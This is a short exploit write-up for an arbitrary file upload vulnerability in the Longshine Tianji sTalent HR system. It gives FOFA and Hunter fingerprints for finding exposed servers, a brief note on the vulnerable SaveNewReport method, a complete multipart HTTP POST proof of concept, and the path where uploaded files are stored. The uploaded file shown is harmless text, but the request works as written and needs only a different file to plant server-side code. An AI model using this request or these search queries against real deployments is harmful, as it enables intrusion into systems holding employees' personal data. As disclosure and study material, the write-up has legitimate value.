Longshine Tianji sTalent Front-End File Upload

Vulnerable Vendor

Beijing Longshine Tianji Software Technology Co., Ltd.

Vendor Website

http://www.hrsoft.com.cn/

Product

sTalent system

Fingerprints

FOFA

"/js/Comm/loadingsmall.js" && icon_hash="1772087922"

Hunter

web.body="/js/Comm/loadingsmall.js" && web.icon=="4859e39ae6c0f1f428f2126a6bb32bd9"

Vulnerable URL: /api/Report/SaveNewReport

Vulnerability analysis:

Deobfuscate the Web.Api.dll file to obtain the source code. The application uses an MVC structure.

The SaveNewReport method under the Web.Api.Controllers.Report class has a file upload vulnerability.

Because authentication exists, a comment needs to be added to the method.

The condition here is satisfied, and the SaveAs method is called on the httpPostedFile object.

The storage path is under /report\\newReportFiles.

POC

POST /api/Report/SaveNewReport?rptId=1 HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=qreedyvzmub5afo1nba2i22d
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxzpiOaIdFLPXG0zW
Content-Length: 177 

------WebKitFormBoundaryxzpiOaIdFLPXG0zW
Content-Disposition: form-data; name="file";filename="1.txt"
Content-Type: image

111
------WebKitFormBoundaryxzpiOaIdFLPXG0zW—

File path:

/report/newReportFiles/1_1.txt

report/newReportFiles/{rptId}_filename

The path in newer versions is: /api/Report/Report/SaveNewReport